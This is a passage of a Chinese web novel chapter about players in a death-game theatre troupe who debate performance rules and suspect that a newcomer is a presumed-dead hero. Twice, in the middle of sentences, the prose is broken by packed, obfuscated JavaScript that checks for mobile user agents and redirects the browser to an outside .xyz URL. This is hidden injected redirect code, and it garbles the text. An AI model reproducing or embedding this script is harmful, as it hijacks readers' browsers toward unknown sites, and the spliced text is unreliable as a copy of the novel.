“虽然我也舍不得我的好员工。”秃头说,“但你都开出这么好的条件了,我也只能放手啊,人往高处飞嘛,小陈啊,以后跟着新老板好好干啊。” 李混元看完了简历。 李混元脸上的笑容已经消失了。 什么啊!! 姓名:陈弦雨 生日:20xx年2月29日 籍贯:西川 婚姻状况:丧偶 工作履历:…… 丧偶是什么鬼啊!!! “你确定是这份简历吗?我怀疑你在骗我的支票!”李混元不可置信。 “没错啊。”秃头说,“小陈的工作能力真是一等一的啊,可惜天妒英才,年纪轻轻就死了老婆。” “死了老婆???” “对啊,你先前不也看到他随身带了块牌位吗,就是他老婆。” 李混元:“………………” 李混元觉得这个世界就是一坨巨大的玩笑。 从姓名到生日到籍贯到婚姻状况到工作履历,每一个都很有道理,每一个都对不上。 陈白衣的生日是11月04日,天蝎座,李混元之所以记得这么清楚,是因为有一年陈白衣为了庆祝自己的生日,用无人机把一打神像运到联合国大厦的屋顶,当烟花一样炸了放了还录了视频。 视频直到过年都还飘在世界论坛首页,把迎神派高官的脸都打肿了。 那个风云万里的故人啊,怎会变成一个丧偶的社畜?? 不是他。 痛失两张支票的李混元失魂落魄地缩回了柜子里。 只有江屑还没放弃:“那个蛇眼男一看就不是好人,睿智的味道简直让我想吐,他不要你的简历是好事,我们废都也能发工资啊,你考虑一下?” “。” “诶,我们相逢一场也算人海中的奇遇了吧,如果不是你把我的笑脸小丑改成了哭脸,我现在可能已经尸体凉凉了,萍水之交你能帮我,你真好啊,我可以喊你弦雨吗?” “喊我阿弦吧。”陈弦雨又翻了个身,他是真的困了,蛇皮可算走了,烦死了,没想到走了一个还有一个,“鞋先生既然是大组织的骨干,想必很有本事,那游戏通关的重任就委托给你了哦。” 江屑受宠若惊:“不用喊我先生,喊我阿屑好了。” “好的,阿鞋。” “屑!不屑一顾的屑!” “好的,阿鞋。” “行行行,你随意。”江屑席地而坐,眼中亮起了许久未见的灼灼光芒,“反正我会证明自己的,我也会证明陈白衣就是英雄的,他的理想那么伟大,这个破烂的世界怎么还要骂他,来和我一起重铸荣光吧,阿弦,我们的白衣先生应该被史诗记载,传唱万万年。” “你怎么知道那就是他的理想?” “难道不是吗?” “也许他只想做一棵小草一朵小花呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361816|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你这是什么话,他的荣光与理想人人皆知,吾辈楷模啊!” “也许他活着不是为了什么荣光和理想,他是为了别人的荣光和理想而不得不活着呢……睡觉吧,他人都死了,你别在这招魂了。” “什么啊,我听不懂你在说什么。”江屑奋力争辩,“他是英雄,你给我记住,他是伟大的英雄!” “也没有那么高尚吧,说不定,他只是个一厢情愿的笨蛋而已。” 啊啊啊,江屑要抓狂了,“你怎么可以说我偶像是笨蛋!你小心我揍你啊!” 被子里的人再无片语,取而代之的,是熟睡后绵长的呼吸声。 算了,江屑松开了拳头,这家伙今天救了自己一命,先不和他计较,如果下次再听到他说陈白衣的坏话,江屑发誓要把丫的脑袋打清醒。 第二天。 陈弦雨睡到下午才醒,江屑已经把角色卡都拿回来了……被玩家们挑剩下的角色卡。 “你可真能睡。”江屑嫌弃地说,“隔壁那几个宿舍,我怀疑他们订了闹钟,一天亮就出去抢角色了。” “哦?”陈弦雨饶有兴致地翻了翻剩下的角色卡。 花瓶和柜子还在,小丑也还在,罗密欧的光头朋友、朱丽叶的哑巴侍女,都还在。 “那个网红主播,拿到了话语权,现在玩家都听他的。”江屑说,“他还是坚持身份越贵重越好,就算没演好,也能得到朱丽叶的宽容,所以他今天自己抢了罗密欧。” 陈弦雨拿起光头的角色卡若有所思,这是挑剩下的卡片里,唯一的身份比较贵重的角色了。 “这是他们都不肯剃光头,才没人拿。”江屑说,“昨天的规则是【不能亵渎舞台】嘛,网红主播就叫玩家们今天好好打扮,严格贴合角色,就不会出问题了。” “如果今天新增规则呢?”陈弦雨抬眸,语气森森。 “……啊?” “时限七天,日记的空缺页也是七天,从1917到1923,每天表演结束新增一页,告诉玩家们当天为何而死,这个游戏的机制,我看已经摆在台面上了。” “……啊!”江屑被他说得浑身一凛,“那今天……” “你还有8个小时用你的麻雀脑袋去思考,妆容合格之后的下一档标准,应该是什么?” 22. (已重写)夜的第二章 “台词。”江屑说。 “唱功。”李混元说。 “情绪。”秃头老板说。 陈弦雨的目光从三个人的脸上扫过,“理由?” 江屑振振有词:“第一天,作为新人演员,可以什么都不懂,相当于试用期,态度不合格的都淘汰了。那么试用期结束后,就该正式表演了吧,背台词肯定是第一步啊,你把朱丽叶当成领导,她检查,你背诵,背错了就凉凉咯。” 乍一听,确实很有道理。 但李混元发出了鄙视的声音:“我算是见识到了草履虫的脑子。” “啊?你骂我?”江屑怒目而视,“我可是陈白衣钦定的最佳伙伴!世界论坛三百万粉丝,你竟敢骂我没脑子,你又有多少本事?把账号亮出来看看啊!” “我的名字你不配知道。”李混元报以冷笑。 作为颇有先见之明的智者,李混元当年甩视频较劲的时候,他从未在视频里露过脸,他和招摇过市的陈白衣不一样,他可不想走在街上被草履虫们簇拥迷恋,他回家族,开公司,经营产业,用的也只是伏尔加李家的姓氏,他的名字,他的智商,他的脸,没几个人类有资格欣赏。 并且他也讨厌一切试图去和陈白衣沾边的人,江屑就是沾得最猛的一个,李混元没少去评论区里嘲讽——单方面嘲讽,不接受反驳。 一个清澈的愚蠢的男大学生,也配和陈白衣的名字放在一起? 陈弦雨发问了:“柜子先生为何否定台词?” “你在明知故问吗?”李混元用看白痴的眼神看着他,“台词,词能达意即可,正式演出多的是即兴发挥,如果人人都照背台词,还有什么艺术可言?” “所以柜子先生认为唱功更重要?” “废话,你一个舞台剧,上台唱跑调试试?观众不对你扔臭鸡蛋都是仁慈,还有,别叫我柜子先生,你过来,我告诉你我的名字。” 但陈弦雨竟然对他的名字一点兴趣都没有,他转头看向秃头老板,“老葛,你认为是情绪?” “呃,咳咳。”老板摸了摸鼻子,“是这样的,我年轻时在大学话剧社里,社长第一天给我们上思想课,就是演员态度这些东西,第二天让我们上台即兴发挥,他不看别的,只看我们表达出来的情绪对不对,喜、怒、哀、惧、爱、恶、欲,社长说一个优秀的演员首先要把情绪传达给观众。” “话剧和舞台剧能一样么?”李混元反驳,“话剧看台词、姿势、情绪,舞台剧看音乐、舞蹈、戏剧。音乐就是排在首位的,舞台剧最多的是什么,就是唱戏啊!当然要看唱功。” 陈弦雨眨了眨眼。 “我觉得你们都很有道理。”他说,“可能只是一个次序问题。” 他跳下床铺,拿出药瓶,倒一把药在手心,数也没数,倒饭一样倒进嘴里,然后左右看了看,感谢传颂神的慷慨,还有半瓶饮用水。 他就着水把药都吞了,才若无其事地说,“能做到的话,你们把台词、唱功、情绪都做好吧,至少今夜能安全度过,之后的话,等拿到更多信息我再看看。” “你能不吃那个药吗?脑子会吃坏的。”李混元皱眉,“你身体什么毛病?回头我给你配药。” 即使一份丧偶的履历已经把他的怀疑都粉碎,但陈弦雨抬眸时那个眼神,很像,太像了,这份眼神从不游离于光暗,也不带一丝傲慢和卑劣,他是认真的,看任何事物都是认真的,就像精神病人看蘑菇一样的眼神,认真,懵懂,又好奇,他用这种眼神看所有的草履虫,也包括看李混元自己,让人根本捉摸不透他那颗脑袋瓜里在想什么离奇的东西。 李混元就是太熟悉这个眼神了,简直和陈白衣一模一样,很多小细节是藏不住也骗不了人的,李混元今天特意观察了他睡觉的样子,哪怕容貌大改,这个人熟睡的侧脸却还是那么乖巧那么无害,剥去了平时的恶劣之后,他和当年假寐月下的少年更加重叠了。 这该死的熟悉感,让李混元还是忍不住想要靠近,想要探寻,放任自己的直觉压倒理智。 “不要。”陈弦雨美滋滋地在柜子里挑着新衣服,“我连柜子先生的名字都不知道,我怎么知道你不会毒死我。” “我刚才就要告诉你我的名字是……” 陈弦雨拿着新衣服,去了洗漱间,和他擦肩而过。 并不想听。 夜。 所有人都妆容齐备,穿着戏服或者道具壳前往舞台。 李混元最后一个离开宿舍。 他在洗漱间的垃圾桶里,翻到了一件换下来的衬衫。 衬衫是黑色的,看上去没什么特别,但瞒不过李混元的敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361817|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐,他一摸就发现了衬衫有一块地方,比黑色更暗。 是左胸肋骨的位置。 这里渗了一片新新旧旧的血渍。 他不会认错,就是陈弦雨昨天穿的衬衫。 这个人怎么回事……身上还带着伤么? 李混元的眉头皱得更深了。 不假思索,李混元就用剪刀剪下一小片染血的布料,装进袋子里,他决定带回去检测一下DNA,他的庄园里仔细找找,应该还能找到一些陈白衣留下的头发啊之类的痕迹,到时候一对比就好了,虽然这个举动可能会被草履虫们认为是变态,但他非得这么做不可。 陈白衣太狡猾了,不拿DNA甩到他脸上,他是不会老实的。 数据,智者的终极打脸武器。 李混元揣着样本,钻进柜子壳里,在0点之前抵达了大舞台。 悠扬的钢琴乐再次响起,猩红幕布缓缓拉开帷幕。 “等一下……” 陈弦雨再次听到开幕钢琴曲的时候,终于想起了昨天遗漏的地方。 违和感。 不对。 “怎么了?”柜子问他。 “这是贝多芬的《月光》。”花瓶正在思考,“怎么会出现在《罗密欧与朱丽叶》的歌剧里?” 柜子也发现了问题,他确定地说:“任何一个版本的《罗密欧与朱丽叶》,都没有用《月光》作配的,所以这是朱丽叶自己加的戏?难道这就是你说的……她真正的心愿?” 可他们早就把剧团所有房间都翻过了。 从道具间到会议室,从琴房到行政室,所有剧团表演过的剧目都翻过了,他们这两个脑子加起来,都不记得有哪个剧目哪个版本是用《月光》作配的。 琴房里,连相关的乐谱都没有。 花瓶缓缓开口:“有没有可能是朱丽叶自己写了个戏?” “……”在短暂的沉默后,聪明的柜子领悟了,“我知道了,演员宿舍区里,没有男女主演的房间,如果因为某种原因剧本未曾公布的话,就肯定放在朱丽叶的房间里,我们找到这个隐藏的房间就可以了!剩下的就是说服玩家,听我们的安排来表演……算了,我为什么要说服草履虫,让他们多死一点,他们自己就会求上门了。” 柜子得意洋洋地宣布了自己的判断。